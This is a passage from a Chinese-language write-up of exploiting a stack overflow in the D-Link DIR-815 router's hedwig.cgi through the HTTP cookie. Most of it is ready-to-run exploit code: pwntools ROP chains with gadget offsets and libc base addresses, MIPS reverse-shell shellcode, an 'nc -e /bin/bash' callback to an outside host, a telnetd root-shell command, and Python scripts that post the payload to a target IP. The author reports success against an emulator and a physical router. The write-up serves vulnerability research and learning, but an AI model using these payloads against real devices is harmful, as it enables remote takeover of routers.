gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973 #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
生成的context通过scp拷贝到mips虚拟机中并且nano debug.sh
更改debug.sh
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|/htdocs/web/hedwig.cgi
#echo "uid=1234"|./gdbserver.mipsel 192.168.79.145:6666 /htdocs/web/hedwig.cgi
在mips虚拟机运行之后在本机nc -vlp 9999,确实能够获取/bin/bash权限。成功了!说明rop链构造是没问题的。
利用sleep(1)调用shellcode
这里的shllcode作用是给指定的IP地址和端口反弹shell,根据文章修改其中的socket反向连接IP,端口没有改变还是31337。
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
shellcode = ""
shellcode += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
shellcode += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
shellcode += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
shellcode += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#shellcode += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.1.177:31337
shellcode += "xf8xffxa5xafx4fx91x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.79.145
shellcode += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
shellcode += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
shellcode += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
shellcode += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
shellcode += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
shellcode += "xabx0fx02x24x0cx09x09x01"
libc_base = 0x77f34000
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08#0x15C84#0xBB44
payload = 'A' * 973 #1009-9*4
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
f = open("exploit2",'wb+')
f.write(payload)
f.close()
生成的exploit2通过scp拷贝到mips虚拟机中并且nano debug.sh
更改debug.sh运行得到shell。
利用HTTP报文获取shell,其实现在mips虚拟机相当于一个开启了部分web服务的DIR815路由器,我们可以通过发送http报文获取shell。
利用system函数
#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base, cmd):
gadget1 = 0x45988
gadget2 = 0x159cc
system_addr_1 = 0x53200-1
payload = 'A' * offset
payload += p32(libc_base + system_addr_1) # s0
payload += p32(libc_base + gadget2) # s1
payload += 'A' * 4 # s2
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x10
payload += cmd
return payload
if __name__=="__main__":
cmd = "nc -e /bin/bash 192.168.79.145 9999"
cookie='uid=' + get_payload(973, 0x77f34000, cmd)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
测试结果:获取shell
利用sleep调用shellcode(反弹shell)
#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base):
shellcode = ""
shellcode += "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
shellcode += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
shellcode += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
shellcode += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
shellcode += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#shellcode += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.1.177:31337
shellcode += "xf8xffxa5xafx4fx91x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.79.145
shellcode += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
shellcode += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
shellcode += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
shellcode += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
shellcode += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
shellcode += "xabx0fx02x24x0cx09x09x01"
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08#0x15C84#0xBB44
payload = 'A' * offset #1009-9*4
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
return payload
if __name__=="__main__":
cookie='uid=' + get_payload(973, 0x77f34000)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
测试结果:获取shell
Firmadyne仿真及实体机测试
Firmadyne的安装过程这里就不再继续介绍,这里是用它来测试,能够启动起来。并且访问firmadyne给其分配的默认web接口192.168.0.1。
nmap扫描查看开放的端口,目前3各端口分别对应dns53,http80,upnp49152。
Starting Nmap 7.01 ( https://nmap.org ) at 2020-05-24 16:21 CST
Nmap scan report for 192.168.0.1
Host is up (0.00041s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain dnsmasq 2.45
80/tcp open http D-Link DIR-815 WAP http config 1.01
49152/tcp open upnp D-Link DIR-815 WAP UPnP 1.01 (UPnP 1.0)
MAC Address: 52:54:00:12:34:58 (QEMU virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 1 hop
Service Info: OS: Linux; Device: WAP; CPE: cpe:/h:dlink:dir-815:1.01, cpe:/o:linux:linux_kernel, cpe:/h:d-link:dir-815
构造exp进行测试
其实这里需要跟之前qemu系统模式一样,上传gdbsever进行调试确定偏移和libc基地址。这里直接利用师傅帖子中的代码进行测试。这里的基地址是根据firmadyne中用linux内核版本为2.6.32,别的帖子中测试的基地址为0x2aaf8000,并且metasploit里面的payload写到:路由器环境中基地址为0x2aaf8000,qemu环境为0x40854000。两个可以都试试!
[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
{
'Offset' => 973,
'LibcBase' => 0x2aaf8000, # Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
下面编写exp进行测试,利用system函数进行测试。
#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"
import requests
import sys
def get_payload(offset, libc_base, cmd):
gadget1 = 0x45988
gadget2 = 0x159cc
system_addr_1 = 0x53200-1
payload = 'A' * offset
payload += p32(libc_base + system_addr_1) # s0
payload += p32(libc_base + gadget2) # s1
payload += 'A' * 4 # s2
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x10
payload += cmd
return payload
if __name__=="__main__":
#cmd = "nc -e /bin/bash 192.168.79.145 9999"
cmd = 'telnetd -p 222 -l /bin/sh'
cookie='uid=' + get_payload(973, 0x2aaf8000, cmd)
header = {
'Cookie' : cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'1234'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
print r.text
测试结果显示能够执行telnetd -p 222 -l /bin/sh
。telnet 上去对应的窗口直接反弹shell。
在实体机上刷上1.01的版本,用system方法的exp同样能得到获取shell。
总结
整个过程其实遇到了一些坑,从最开始死活到不了第二个sprintf,到后面的qemu系统模式如何修改http配置文件都起不来http服务,还有shellcode的修改等等问题都可能卡好久,最后解决的时候才知道并不是太难的问题,还是漏洞调试少了!流程完全自己走一遍并且能够很清楚的讲出来,其实个人感觉收获还是很多的,比如路由器缓冲区溢出漏洞的分析调试详细流程,gdb、IDA、Ghidra等工具联调使用,以及该libc的万能gadget等等。感谢H4lo师傅不厌其烦地回答我的问题,tql!坚持学习努力超越!
参考资料
IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现
Building MIPS Environment for Router && PWN